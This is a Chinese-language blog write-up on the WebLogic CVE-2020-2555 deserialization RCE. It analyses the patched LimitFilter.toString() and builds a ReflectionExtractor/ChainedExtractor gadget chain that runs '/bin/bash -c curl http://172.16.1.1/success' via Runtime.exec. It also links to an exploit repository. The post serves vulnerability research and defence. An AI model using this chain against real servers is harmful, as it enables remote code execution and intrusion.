Weblogic CVE-2020-2555 反序列化RCE EXP构造

Share on:

Weblogic 简直是个无底洞.

2020.03.06 早上4点,看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告,在推特上搜了一波,发现有详细的分析文章,遂有此文。

漏洞分析

个人研究,没钱买补丁,这里借用Zero Day的图。

image

补丁中将LimitFilter类的toString()方法中的extract()方法调用全部移除,而我们需要知道在CommonsCollections5中可以利用BadAttributeValueExpException来调用任意类的toString()方法。

接着来看下没打补丁之前LimitFilter类的toString()方法。

 1public String toString() {
 2    StringBuilder sb = new StringBuilder("LimitFilter: (");
 3    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
 4    if (this.m_comparator instanceof ValueExtractor) {
 5        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
 6        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
 7    } else if (this.m_comparator != null) {
 8        sb.append(", comparator=").append(this.m_comparator);
 9    }
10
11    sb.append("])");
12    return sb.toString();
13}

toString()中会将this.m_oAnchorTopthis.m_oAnchorBottom作为参数传入ValueExtractor.extract(),补丁移除了extractor.extract()操作,跟进extract()看下,发现extract()只是一个抽象方法,并没有实现,那说明extract()ValueExtractor的子类中可以利用。因为是反序列化,所以我们只需要在ValueExtractor子类中找到实现了Serializable或者ExternalizableLite反序列化接口并且有extract()的方法。最终在com.tangosol.util.extractor.ReflectionExtractor#extract()找到了反射任意方法调用。

 1public E extract(T oTarget) {
 2    if (oTarget == null) {
 3        return null;
 4    } else {
 5        Class clz = oTarget.getClass();
 6
 7        try {
 8            Method method = this.m_methodPrev;
 9            if (method == null || method.getDeclaringClass() != clz) {
10                this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
11            }
12
13            return method.invoke(oTarget, this.m_aoParam);
14        } catch (NullPointerException var4) {
15            throw new RuntimeException(this.suggestExtractFailureCause(clz));
16        } catch (Exception var5) {
17            throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
18        }
19    }
20}

到现在为止我们可以传入一个Runtime.getRuntime()oTarget,将this.m_methodPrev赋值为exec,然后this.m_aoParam就是我们的命令参数,就可以RCE了。而对于反序列化而言,我们需要继续构建对象,让他自己执行Runtime.getRuntime(),这里很像cc链中的InvokerTransformer.transform(),那有没有像cc链中的ChainedTransformer类呢。遂找到了com.tangosol.util.extractor.ChainedExtractor#extract()

 1@JsonbCreator
 2public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
 3    super(aExtractor);
 4    this.m_nTarget = this.computeTarget();
 5}
 6public E extract(Object oTarget) {
 7    ValueExtractor[] aExtractor = this.getExtractors();
 8    int i = 0;
 9
10    for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
11        oTarget = aExtractor[i].extract(oTarget);
12    }
13
14    return oTarget;
15}

和cc5的构造很像,我们一步一步构造下

 1// Runtime.class.getRuntime()
 2ReflectionExtractor extractor1 = new ReflectionExtractor(
 3    "getMethod",
 4    new Object[]{"getRuntime", new Class[0]}
 5
 6);
 7
 8// get invoke() to execute exec()
 9ReflectionExtractor extractor2 = new ReflectionExtractor(
10    "invoke",
11    new Object[]{null, new Object[0]}
12
13);
14
15// invoke("exec","calc")
16ReflectionExtractor extractor3 = new ReflectionExtractor(
17    "exec",
18    new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
19);

首先先构造三个ReflectionExtractor对象来调用反射拿到我们想要的,然后把他放到ReflectionExtractor数组中,将数组通过构造函数赋值给ChainedExtractor

1ReflectionExtractor[] extractors = {
2    extractor1,
3    extractor2,
4    extractor3,
5};
6
7ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

那到目前为止,只要反序列化执行了chainedExtractor.extract()就可以造成rce。而前文所说,toString()中是执行了extract()的,所以我们将chainedExtractor通过反射赋值给limitFilter对象。然后通过BadAttributeValueExpException触发limitFilter对象的toString(),进而触发extract()一步一步调用method.invoke(),继而通过反射拿到Runtime.getRuntime().exec(""),达成RCE。

  1. coherence.jar要使用和目标版本一致的,不然会有serialVersionUID不一致的问题。
  2. BadAttributeValueExpException对jdk的版本有要求。具体看这里

漏洞利用

https://github.com/Y4er/CVE-2020-2555

参考

  1. https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
  2. https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR76
  3. https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。